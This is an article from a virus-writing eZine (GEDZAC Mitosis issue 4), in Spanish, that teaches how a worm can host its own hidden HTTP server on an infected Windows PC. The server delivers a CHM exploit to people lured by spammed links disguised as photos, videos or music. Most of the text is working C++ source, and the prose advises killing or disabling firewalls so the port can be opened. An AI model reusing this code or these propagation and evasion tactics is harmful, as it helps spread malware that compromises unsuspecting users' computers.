#GEDZAC Mitosis eZine Issue 4
#MITOSIS ARTICLE#
#Worms con motores de mini servidor HTTP
#Autor: MachineDramon
#Este articulo contiene un source
Una buena forma de propagar un virus por irc o por IM es hacerlos mandando
spam para que se visite una url, por ejemplo:
http://www.server.com/virus.htm
Uno de los principales problemas al hacer esto dependiendo del tipo de
exploit que se fuera a utilizar, es buscar server gratuitos que
dejen subir determinados tipos de archivos, por ejemplo para el bug del
chm hay que buscar servers que dejen subir archivos .chm, para el del
objectdata habia que buscar server que soporten asp, php, o jsp para enviar
la cabecera http necesaria, etc. Ademas de que si el virus alcanza cierta
propagacion, el server es avisado y nos cierra el sitio. Tambien es un poco
inseguro, porque muchos servers guardan la ip del que se registro.
Por eso seria mejor que el virus comprobara la conex a internet, esperara
a que haya conex, encontrara la ip publica de la pc, escuchara por el
puerto 80 las peticiones http y sirviera los archivos necesarios.
Osea que actue como un MiniServer HTTP, algunas ventajas seria que
podriamos mandar las cabeceras que quisieramos, no nos importaria el
tipo de archivo, y una cosa importante, podriamos hacer spam de urls:
http://ip/foto.jpg ó http://ip/video.mpg ó http://ip/musica.mp3
Y enviar en ves del jpg/mpg/mp3 un .exe o un exploit, porque nada nos obliga a enviar algo de acuerdo a la extencion, claro que tendriamos que enviar en la respuesta al navegador la cabecera que indique el tipo MIME de lo que estamos enviando, como IE se guia por los tipos MIME, IE nos puede pedir foto.jpg y nosotros enviarle foto.exe con la cabecera "Content-Type: application/octet-stream" y seria valido, no estoy diciendo que el .exe se ejecutaria, pero la transaccion http seria valida, pero mejor es enviar un exploit
Esto lo intente hacer el año pasado en vb, pero por mi impericia en el manejo de sockets, no salio como esperaba, ahora esta en c++, haber que tal funka. Si vamos hacer esto en vb, no es necesario crear la ventana podemos aprovechar la ventana del formulario subclasicandola.
En el code de ejemplo se verifica la conex a internet, averigua la ip de la pc, luego se crea una ventana para usar sockets en modo asincronico, se pone a escuchar el puerto 80 y por cada peticion HTTP GET se crea un hilo que sirve un exploit chm (exploit viejo, aunque todavia agarra gente). Asi como esta el code no sirve pa un worm porque muestra msgbox y no retiene la ip encontrada, ademas hay que ponerle un xploit nuevo, pero como idea me parece que sirve.
La dificultad de esto es que si la pc tiene instalado un firewall, tenemos que matarlo primero, porque sino no vamos a poder escuchar el puerto. Solucion matar el proceso, si el firewall es de esos que no se deja matar ponerlo pa ser borrado al siguiente reinicio(en 98 y xp como administrador funka esto, no creo en una cuenta limitada), si es el firewall de xp detener el servicio.
Al ver el code tal vez alguien diga que esto se puede hacer muy bien con sockets en modo sincronico y tendria razon, tambien se puede.Aqui vemos un source de ejemplo
#include <windows.h>
#include <wininet.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
//--------------------------------------------------------------------
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
DWORD WINAPI AceptSocket(void*param);
int ObtenerIP();
int CreaWindow();
int OpenServer();
int BucleMensajes();
//--------------------------------------------------------------------
HINSTANCE hInstance;
char *ip;
char szClassName[] = "GEDZAC_LABS";
HWND hwnd;
SOCKET sk;
//mensaje personalizado que se enviara a la ventana cuando
//aya una conexcion entrante por el puerto 80
const unsigned int WM_GEDZAC = WM_USER + 123;
//--------------------------------------------------------------------
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
//Iniciamos un Bucle para esperar a que haya conex a internet, si hay
//conex sale del bucle, sino espera 60seg y vuelve a comprobar la conex
while(1)
{
if (InternetGetConnectedState(0,0)) { break; } else { Sleep(60000); }
}
//obtenemos la ip de la pc, en este code no se usa la ip, pero en un
//worm real que use esta tecnica, deberia hallar la ip, para enviar
//el spam del tipo http://ip/file
if (!ObtenerIP()) MessageBox(0,"No se pudo Obtener Ip Publica","Msg",0);
//igualamos hThisInstance(la instancia de la aplicacion, handle del modulo)
//a la var global hInstance, ya que necesitaremos este valor, fuera de
//Main
hInstance = hThisInstance;
//Funcion que crea la ventana
if (!CreaWindow()) { MessageBox(0,"No se pudo crear la ventana","Msg",0); }
else
{
//ponemos a escuchar el puerto 80
if(!OpenServer()) MessageBox(0,"No se pudo abrir el puerto","Msg",0);
//vamos al bucle de mensajes de la aplicacion
BucleMensajes();
}
return 0;
}
//--------------------------------------------------------------------
int ObtenerIP()
{
//valor que devolvera la funcion
bool b=1;
//iniciamos una instancia del winsock, si error devuelve 0
WSADATA wsa;
if (WSAStartup(MAKEWORD(1,1),&wsa)) return 0;
int i=0;
//obtenemos el nombre del host, si error gethostname devuelve
//SOCKET_ERROR, igualamos b=0 y vamos a EndWinSock
//no hacemos un return directamente para salir de la funcion
//porque necesitamos cerrar la instancia de WinSock que iniciamos
//aunque se podria haber puesto: { WSACleanup(); return 0; }
//se opto por una etiqueta goto
char hostname[256];
if (gethostname(hostname,256)) { b=0; goto EndWinSock; }
//con gethostbyname, obtenemos un puntero a una estrcutura HostEnt
//si error, devuelve un puntero nulo, e igualamos b=0 y vamos a EndWinSock
HOSTENT *hts;
if ((hts = gethostbyname(hostname))==NULL) { b=0; goto EndWinSock; }
//declaramos una estructura IN_ADDR y asignamos 20 bytes al puntero
//*ip(que se declaro como global al principio de la aplicacion)
//si malloc devuelve un puntero nulo, error y b=0, vamos a EndWinSock
IN_ADDR addr;
if ((ip=(char *)malloc(20))==NULL) { b=0; goto EndWinSock; }
//iniciamos un bucle, para enumerar el miembro h_addr_list de la
//estrcutura HostEnt, que contiene la lista de ips de la maquina,
//en caso de que haya una sola ip, si hay conex a internet sera
//la ip publica, sino sera la ip privada; si hay 2 ips, en las pruebas
//que he hecho la primera es la privada y la segunda la publica
//la que nos interesa es la publica, si siempre salen en ese orden
//no habria problema, ya que la ip publica seria la ultima que saliera,
//pero no puedo asegurar que siempre salgan en ese orden, aunque en 3
//pcs que he probado han salido asi. Cuando ya no haya mas ips
//h_addr_list sera nulo y saldremos del bucle.
//(thx a los contactos del msn, que me ayudaron a probar el programa
//con lo de las ips publicas y privadas)
while (hts->h_addr_list[i])
{
//asignamos la ip que contiene h_addr_list al miembro s_addr de
//la structura IN_ADDR, e incrementamos i
addr.s_addr=*((long*)hts->h_addr_list[i++]);
//en s_addr esta la ip en formato de red, pero como necesitamos
//la ip representada en una cadena del tipo xxx.xxx.xxx.xxx
//usamos inet_ntoa pasandole la structura IN_ADDR addr, y devuelve
//un puntero a la ip en forma de cadena
ip=inet_ntoa(addr);
}
//mostramos la ip
MessageBox(0,ip,"IP",0);
//como en este code no se usa la ip, liberamos la memoria asignada
//al puntero *ip, en caso de un worm real, se deberia conservar la ip
free(ip);
//etiqueta goto
EndWinSock:
//Terminamos secion en WinSock y devolvemos el valor de b, si hubo
//error b=0, sino b=1
WSACleanup();
return b;
}
//--------------------------------------------------------------------
int CreaWindow()
{
//Como vamos a usar sockets en forma asincronica, necesitamos una
//ventana.
//Declaramos struct WNDCLASSEX
WNDCLASSEX wincl;
wincl.cbSize = sizeof (WNDCLASSEX); /* Tamaño de la struct */
wincl.hInstance = hInstance; /* Instancia de la aplicacion a la que pertenecera la ventana*/
wincl.lpszClassName = szClassName; /* Nombre de la clase*/
wincl.lpfnWndProc = WindowProcedure; /* Nombre de la funcion que manejara los msgs de la ventana */
wincl.style = CS_NOCLOSE; /* Stylos de la ventana, aunque creo que no es necesario, colocamos CS_NOCLOSE para que la ventana no se pueda cerrar */
wincl.hIcon = LoadIcon (NULL, IDI_APPLICATION); /* icono de la ventana, cargamos el por defecto */
wincl.hIconSm = LoadIcon (NULL, IDI_APPLICATION); /* icono pequeño de la ventana, cargamos el por defecto */
wincl.hCursor = LoadCursor (NULL, IDC_ARROW); /* cursor de la ventana, cargamos el por defecto */
wincl.lpszMenuName = NULL; /* Puntero a una cadena que hace referencia al nombre de un recurso del tipo MENU, usamos NULL*/
/* estos 2 asignan memoria extra, pero como no los usamos y no se bien pa que sirven, le ponemos 0 */
wincl.cbClsExtra = 0;
wincl.cbWndExtra = 0;
wincl.hbrBackground = (HBRUSH) COLOR_BACKGROUND; /* Color de fondo de la ventana */
//registramos la clase, si error RegisterClassEx devuelve 0 y salimos
if (!RegisterClassEx(&wincl)) return 0;
hwnd = CreateWindowEx (
0, /* stylos de la ventana */
szClassName, /* nombre de la clase */
"GEDZAC", /* titulo de ventana */
WS_OVERLAPPED, /* mas stylos de la ventana, WS_OVERLAPPED: ventana de las más simples */
CW_USEDEFAULT, /* posicion inicial de la ventana en x, CW_USEDEFAULT: windows decide donde la pone */
CW_USEDEFAULT, /* posicion inicial de la ventana en y, CW_USEDEFAULT: windows decide donde la pone */
100, /* ancho de la ventana */
100, /* alto de la ventana */
HWND_DESKTOP, /* handle de la ventana padre, indicamos que es hija del escritorio */
NULL, /* handle al menu o handle de ventana hija*/
hInstance, /* Instancia la aplicacion a la que pertenece la ventana */
// puntero a datos de creación de la ventana, puntero a un
// valor pasado a la ventana a través de la estructura
// CREATESTRUCT, ponemos NULL (osea que no tengo idea que hace esto)
NULL
);
//si exito CreateWindowEx devuelve el handle de la ventana creada
//sino devuelve 0 y salimos
if (!hwnd) return 0;
//mostramos la ventana creada, pero como no queremos que el user
//ande viendo que tiene una ventanita rara en la pantalla la
//mostramos oculta (SW_HIDE)
ShowWindow (hwnd, SW_HIDE);
return 1;
}
//--------------------------------------------------------------------
int BucleMensajes()
{
//declaramos struct MSG
MSG messages;
//Iniciamos el bucle de mensajes de la ventana, GetMessage busca en
//la cola de mensajes, si no hay un msg, espera hasta que lo haya
//cuando hay uno regresa un valor diferente de 0 y llena la structura
//messages, entre lo que contiene la strcutura esta el handle de la
//ventana a quien va dirigido el mensaje, el tipo de mensaje, los
//datos del mensaje.
//Como segundo parametro de GetMessage va el handle de la ventana
//de la cual se quieren recibir los mensajes dirigidos a ella
//(si se quiere recibir los mensajes de todas las ventanas que perte-
// necen a este hilo de la aplicacion, poner 0), pero como en
//este caso solo nos interesa una sola ventana.
//El 3° y 4° parametro de GetMessage, son numeros que se puede usar
//como intervalos para filtrar ciertos mensajes, en este caso
//ponemos 0
//Si GetMessage recibe un mensaje WM_QUIT retorna 0 y se sale del
//bucle
while (GetMessage(&messages, hwnd, 0, 0))
{
//traduce mensajes con teclas virtuales, en mensajes con caracteres
TranslateMessage(&messages);
//envia los datos al procedimiento de ventana que procesara los
//mensajes.
DispatchMessage(&messages);
}
return 1;
}
//--------------------------------------------------------------------
LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
//este es el procedimiento de ventana, que procesara los mensajes dirigidos
//a la ventana
//un switch para distinguir los mensajes
switch (message)
{
DWORD TID;
//si recibe un msg WM_DESTROY, PostQuitMessage envia un msg WM_QUIT
//a la cola de mensajes
case WM_DESTROY:
PostQuitMessage(0); break;
//si recibe el mensaje WM_GEDZAC inicia un hilo para servir los files
//iniciamos un hilo para poder contestar varias peticiones al mismo
//tiempo
case WM_GEDZAC:
CreateThread(0,0,AceptSocket,0,0,&TID); break;
//para todos los demas mensajes que no nos interesa procesar de forma
//personalizada, los enviamos al procedimiento de mensajes por defecto
//para que se encargue de ellos, usamos DefWindowProc pasando el
//handle de la ventana, el mensaje, y los datos del mensaje(wParam y lParam)
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
//--------------------------------------------------------------------
int OpenServer()
{
//iniciamos secion en winsock
WSADATA wsa;
if (WSAStartup(MAKEWORD(1,1),&wsa)) return 0;
SOCKADDR_IN Ska;
//indicamos socket para internet
Ska.sin_family = AF_INET;
//indicamos puerto 80, htons para convertir el 80 a formato de red
Ska.sin_port = htons(80);
//aqui se pone la ip de la maquina local, usamos INADDR_ANY
//para que se calcule automaticamente la ip
Ska.sin_addr.s_addr = htonl(INADDR_ANY);
//creamos el socket, con opcion de que sea un socket para redes (internet),
//sea un socket de streams, y que trabaje con tcp/ip, si error
//devuelve INVALID_SOCKET (-1) y terminamos secion en winsock y salimos
if((sk=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { WSACleanup(); return 0; }
//bind asigna los datos de la estructura SOCKADDR_IN mdr al socket
//si error vamos a fin, se podria decir que asigna un puerto al
//socket, si error salimos
if (bind(sk, (struct sockaddr *)&Ska, sizeof(Ska)) != 0) { WSACleanup(); return 0; }
//con WSAAsyncSelect ponemos el socket en modo asincronico, indicamos
//el socket(sk), el handle de la ventana a la que se enviaran los msgs
//el mensaje que se enviara a la ventana, y el evento ante el que se
//quiere recibir un msg, en este caso con FD_ACCEPT se recibira el
//mensaje personalizado WM_GEDZAC, cada vez que haya una conexion
//entrante por el puerto al que vamos a poner a escuchar.
//Si error salimos
if(WSAAsyncSelect(sk,hwnd,WM_GEDZAC,FD_ACCEPT)==SOCKET_ERROR) { WSACleanup(); return 0; }
//ponemos a escuchar el puerto, indicando el socket(sk) y el numero
//de conexiones que se aceptaran en la cola de espera.
//Si error salimos
if(listen(sk,20)==SOCKET_ERROR) { WSACleanup(); return 0; }
return 1;
}
//--------------------------------------------------------------------
//Cuando se reciba un msg WM_GEDZAC, se iniciara un hilo que ejecutara
//esta funcion, para servir los files
DWORD WINAPI AceptSocket(void*param)
{
//variables que serviran de buffers, para almacenar el contenido de los
//files que se van a servir
LPSTR HTM, CHM;
//variables que almacenaran los tamaños de los files a servir
DWORD HTMSz, CHMSz;
//leemos el file index.htm, almacenamos su contenido en un buffer
//y calculamos su tamaño
DWORD dw;
HANDLE Hh = CreateFile("C:\\index.htm", GENERIC_READ, FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (Hh==INVALID_HANDLE_VALUE) return 0;
HTMSz = GetFileSize(Hh,0);
HTM = (LPSTR)GlobalAlloc(GPTR,HTMSz+1);
ReadFile(Hh,HTM,HTMSz,&dw,0);
CloseHandle(Hh);
//igual con test.chm
HANDLE Hc = CreateFile("C:\\test.chm", GENERIC_READ, FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
if (Hc==INVALID_HANDLE_VALUE) return 0;
CHMSz = GetFileSize(Hc,0);
CHM = (LPSTR)GlobalAlloc(GPTR,CHMSz+1);
ReadFile(Hc,CHM,CHMSz,&dw,0);
CloseHandle(Hc);
SOCKADDR_IN Ska; SOCKET sck; int timeout=30000; char buffer[100];
//aceptamos la conex entrante y accept nos regresa un nuevo
//descriptor de socket en sck
int size = sizeof(Ska);
sck = accept(sk,(struct sockaddr *)&Ska, &size);
//si error salimos
if(sck==INVALID_SOCKET || sck==0) { return 0; }
//establecemos un timeout, tiempo de espera en el nuevo socket
//como este esta en modo sincronico no valla a ser que se nos
//quede colgado, el tiempo de espera se indica en milisegundos
//para la recepcion y envio de datos le damos 30 segundos
//esto hara que en operaciones recv y send, si no termina en ese
//tiempo, regresa error y sigue, el tiempo de espera se puede variar
//de acuerdo al tamaño de los datos a enviar, ya que a datos más
//grandes se necesitara más tiempo.
//Si error al establecer el tiempo de espera, cerramos el socket
//y salimos
if (setsockopt(sck, SOL_SOCKET, SO_RCVTIMEO,(char*) &timeout, sizeof(timeout))==SOCKET_ERROR) { closesocket(sck); return 0; }
if (setsockopt(sck, SOL_SOCKET, SO_SNDTIMEO,(char*) &timeout, sizeof(timeout))==SOCKET_ERROR) { closesocket(sck); return 0; }
//tratamos de leer la peticion HTTP GET que se supone debe haber
//enviado el navegador al conectarse, y almacenamos los 99 primeros
//bytes en buffer.
int x = recv(sck,buffer,sizeof(buffer)-1,0);
//pasamos buffer a mayusculas
strupr(buffer);
//si error o si lo leido no contiene la palabra GET, cerramos el socket
//y salimos
if (x<=0 || !strstr(buffer,"GET")) { closesocket(sck); return 0; }
//construimos la cabecera HTTP que enviaremos al navegador en respuesta
char HEADER[500], szt[50];
//version http y codigo de estado (200=OK)
strcpy(HEADER,"HTTP/1.1 200 OK\r\n");
//esto es para construir la cabecera Date, que segun veo los servers
//la envian en un formato: Date: Wed, 17 Set 2005 03:04:05 GMT
time_t lt;
SYSTEMTIME tms;
GetSystemTime(&tms);
lt = time(NULL);
char *tim = (char *)malloc(50);
tim=ctime(<);
sprintf(szt, "Date: %c%c%c, %u %c%c%c %u %u:%u:%u GMT\r\n",tim[0],tim[1],tim[2],tms.wDay,tim[4],tim[5],tim[6],tms.wYear,tms.wHour,tms.wMinute,tms.wSecond);
strcat(HEADER,szt);
free(tim);
//tipo y version de server
strcat(HEADER,"Server: Apache/2.0\r\n");
//como en este caso vamos a usar un exploit chm, en caso de que la
//peticion contenga la cadena chm, enviaremos el chm
if (!strstr(buffer,"CHM"))
{
//tipo mime del archivo que estamos enviando
strcat(HEADER,"Content-Type: text/html\r\n");
//tamaño en bytes del archivo
sprintf(szt,"Content-Length: %u\r\n\r\n",HTMSz);
strcat(HEADER, szt);
//enviamos la cabecera, si error cerramos el socket y salimos
x = send(sck,HEADER,strlen(HEADER),0);
if (x<=0) { closesocket(sck); return 0; }
//enviamos el contenido del archivo
send(sck,HTM,HTMSz,0);
}
else
{
//tipo mime del archivo que estamos enviando
strcat(HEADER,"Content-Type: text/html\r\n");
//tamaño en bytes del archivo
sprintf(szt,"Content-Length: %u\r\n\r\n",CHMSz);
strcat(HEADER, szt);
//enviamos la cabecera, si error cerramos el socket y salimos
x = send(sck,HEADER,strlen(HEADER),0);
if (x<=0) { closesocket(sck); return 0; }
//enviamos el contenido del archivo
send(sck,CHM,CHMSz,0);
}
//esperamos 3seg y cerramos el socket y liberamos los buffers
Sleep(3000);
closesocket(sck);
GlobalFree(HTM); GlobalFree(CHM);
return 1;
}